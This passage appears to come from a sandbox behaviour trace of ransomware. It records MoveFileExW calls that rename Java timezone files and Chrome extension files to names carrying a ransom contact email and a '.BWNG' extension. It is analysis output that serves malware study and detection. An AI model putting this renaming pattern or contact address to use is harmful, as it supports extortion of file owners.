(x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ncgqcicb-c4fpoafv.bwng"), dwFlags=0x1) returned 1 [0123.581] GetTickCount () returned 0x116678a [0123.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553328603) returned 1 [0123.581] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Sydney" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\sydney"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].dI47ifID-m1whixrW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].di47ifid-m1whixrw.bwng"), dwFlags=0x1) returned 1 [0123.583] GetTickCount () returned 0x116678a [0123.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553487846) returned 1 [0123.583] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+12"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].S6Ksedrw-ZR8vITbW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].s6ksedrw-zr8vitbw.bwng"), dwFlags=0x1) returned 1 [0123.585] GetTickCount () returned 0x1166799 [0123.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553687913) returned 1 [0123.585] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-10"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].5aDkDU0l-8R9mcGkB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].5adkdu0l-8r9mcgkb.bwng"), dwFlags=0x1) returned 1 [0123.586] GetTickCount () returned 0x1166799 [0123.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553837122) returned 1 [0123.586] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-7"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].GbjJbo3x-uyiToM6e.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].gbjjbo3x-uyitom6e.bwng"), dwFlags=0x1) returned 1 [0123.588] GetTickCount () returned 0x1166799 [0123.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553986676) returned 1 [0123.588] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].58xH0w9z-f9NYb3ls.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].58xh0w9z-f9nyb3ls.bwng"), dwFlags=0x1) returned 1 [0123.589] GetTickCount () returned 0x1166799 [0123.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26554139855) returned 1 [0123.589] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sao_Paulo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\sao_paulo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].1Y4SOjCN-UUVfFQOs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].1y4sojcn-uuvffqos.bwng"), dwFlags=0x1) returned 1 [0123.591] GetTickCount () returned 0x1166799 [0123.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26554285933) returned 1 [0123.591] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Knox" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\knox"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].Kzsmd0Hg-xmv7aUpQ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].kzsmd0hg-xmv7aupq.bwng"), dwFlags=0x1) returned 1 [0123.592] GetTickCount () returned 0x1166799 [0123.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26554448219) returned 1 [0123.592] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thule" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\thule"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Z3MjE8vV-ndDQ3RhO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].z3mje8vv-nddq3rho.bwng"), dwFlags=0x1) returned 1 [0123.594] GetTickCount () returned 0x1166799 [0123.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26554582036) returned 1 [0123.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\casey"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].EB0aiGYR-TG3PGsH1.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].eb0aigyr-tg3pgsh1.bwng"), dwFlags=0x1) returned 1 [0123.595] GetTickCount () returned 0x1166799 [0123.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26554708821) returned 1 [0123.595] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aden" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\aden"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].O5YSCQ8e-GYFAwJhI.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].o5yscq8e-gyfawjhi.bwng"), dwFlags=0x1) returned 1 [0123.600] GetTickCount () returned 0x11667a9 [0123.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26555196435) returned 1 [0123.600] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bangkok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\bangkok"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].A4GVJxrJ-4i28qIUA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].a4gvjxrj-4i28qiua.bwng"), dwFlags=0x1) returned 1 [0123.601] GetTickCount () returned 0x11667a9 [0123.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26555336425) returned 1 [0123.601] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dubai" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dubai"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].Vwenu4un-EzU2PO9I.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].vwenu4un-ezu2po9i.bwng"), dwFlags=0x1) returned 1 [0123.734] GetTickCount () returned 0x1166826 [0123.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26568579985) returned 1 [0123.734] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jayapura" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\jayapura"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].F1NsFc8x-TIVnp6sf.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].f1nsfc8x-tivnp6sf.bwng"), dwFlags=0x1) returned 1 [0123.735] GetTickCount () returned 0x1166826 [0123.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26568729817) returned 1 [0123.735] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuala_Lumpur" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kuala_lumpur"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].1GI8nPR3-nVmFeD3r.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].1gi8npr3-nvmfed3r.bwng"), dwFlags=0x1) returned 1 [0123.736] GetTickCount () returned 0x1166826 [0123.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26568869357) returned 1 [0123.737] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Juneau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\juneau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].MJZJcIfU-3t4vQXZ2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].mjzjcifu-3t4vqxz2.bwng"), dwFlags=0x1) returned 1 [0123.738] GetTickCount () returned 0x1166826 [0123.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26569154020) returned 1 [0123.870] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novosibirsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\novosibirsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].j7OHYMpQ-WfMAHDjp.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].j7ohympq-wfmahdjp.bwng"), dwFlags=0x1) returned 1 [0123.873] GetTickCount () returned 0x11668b2 [0123.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26582491665) returned 1 [0123.873] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Matamoros" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\matamoros"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].jajRgWnQ-6LIEgUS2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].jajrgwnq-6liegus2.bwng"), dwFlags=0x1) returned 1 [0123.874] GetTickCount () returned 0x11668b2 [0123.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26582670918) returned 1 [0123.875] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].uK5eBmGY-yN5N7qfP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].uk5ebmgy-yn5n7qfp.bwng"), dwFlags=0x1) returned 1 [0123.876] GetTickCount () returned 0x11668b2 [0123.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26582845064) returned 1 [0123.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montreal" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\montreal"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].WV48KE0y-YHxDscV9.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].wv48ke0y-yhxdscv9.bwng"), dwFlags=0x1) returned 1 [0123.878] GetTickCount () returned 0x11668b2 [0123.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583003203) returned 1 [0123.878] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Ojinaga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\ojinaga"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].IRUGeCCN-WTXdqoPe.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].irugeccn-wtxdqope.bwng"), dwFlags=0x1) returned 1 [0123.879] GetTickCount () returned 0x11668b2 [0123.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583155695) returned 1 [0123.880] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\[billwong73@yahoo.com].yxHsked0-YhpmMqrl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\[billwong73@yahoo.com].yxhsked0-yhpmmqrl.bwng"), dwFlags=0x1) returned 1 [0123.881] GetTickCount () returned 0x11668c2 [0123.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583336447) returned 1 [0123.881] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rankin_Inlet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\rankin_inlet"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].817ohxqb-rZmAhSK4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].817ohxqb-rzmahsk4.bwng"), dwFlags=0x1) returned 1 [0123.883] GetTickCount () returned 0x11668c2 [0123.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583490086) returned 1 [0123.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Scoresbysund" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\scoresbysund"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].blGXIvLF-9lGemScI.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].blgxivlf-9lgemsci.bwng"), dwFlags=0x1) returned 1 [0123.884] GetTickCount () returned 0x11668c2 [0123.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583648402) returned 1 [0123.884] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\[billwong73@yahoo.com].VpGz3mP4-GofcrMLE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\[billwong73@yahoo.com].vpgz3mp4-gofcrmle.bwng"), dwFlags=0x1) returned 1 [0123.886] GetTickCount () returned 0x11668c2 [0123.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583797419) returned 1 [0123.886] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thunder_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\thunder_bay"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].k5pE11KJ-zK2Dthei.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].k5pe11kj-zk2dthei.bwng"), dwFlags=0x1) returned 1 [0123.887] GetTickCount () returned 0x11668c2 [0123.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26583935957) returned 1 [0123.887] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].olz5Xw3X-KTYsRDS5.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].olz5xw3x-ktysrds5.bwng"), dwFlags=0x1) returned 1 [0123.889] GetTickCount () returned 0x11668c2 [0123.889] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26584098606) returned 1 [0123.889] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Almaty" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\almaty"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].yD0eQaBO-r5AZLzr7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].yd0eqabo-r5azlzr7.bwng"), dwFlags=0x1) returned 1 [0123.890] GetTickCount () returned 0x11668c2 [0123.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26584253777) returned 1 [0123.891] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].hFwavVZk-CredCKMy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].hfwavvzk-credckmy.bwng"), dwFlags=0x1) returned 1 [0123.892] GetTickCount () returned 0x11668c2 [0123.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26584396046) returned 1 [0123.892] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\[billwong73@yahoo.com].xvmxBKJh-fWJAqIqJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\[billwong73@yahoo.com].xvmxbkjh-fwjaqiqj.bwng"), dwFlags=0x1) returned 1 [0123.893] GetTickCount () returned 0x11668c2 [0123.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26584567433) returned 1 [0123.894] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\[billwong73@yahoo.com].yz0tSpMz-tnyiuZip.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\[billwong73@yahoo.com].yz0tspmz-tnyiuzip.bwng"), dwFlags=0x1) returned 1 [0123.895] GetTickCount () returned 0x11668c2 [0123.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26584716921) returned 1 [0123.895] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\[billwong73@yahoo.com].sDpKZnLg-JGtS53lb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\[billwong73@yahoo.com].sdpkznlg-jgts53lb.bwng"), dwFlags=0x1) returned 1 [0123.897] GetTickCount () returned 0x11668d1 [0123.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26584876913) returned 1 [0123.897] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\[billwong73@yahoo.com].Gq4QSwkt-31SDjlfP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\[billwong73@yahoo.com].gq4qswkt-31sdjlfp.bwng"), dwFlags=0x1) returned 1 [0123.898] GetTickCount () returned 0x11668d1 [0123.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585051255) returned 1 [0123.899] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].1Zp5dK3O-fYMB71GB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].1zp5dk3o-fymb71gb.bwng"), dwFlags=0x1) returned 1 [0123.900] GetTickCount () returned 0x11668d1 [0123.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585194786) returned 1 [0123.900] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 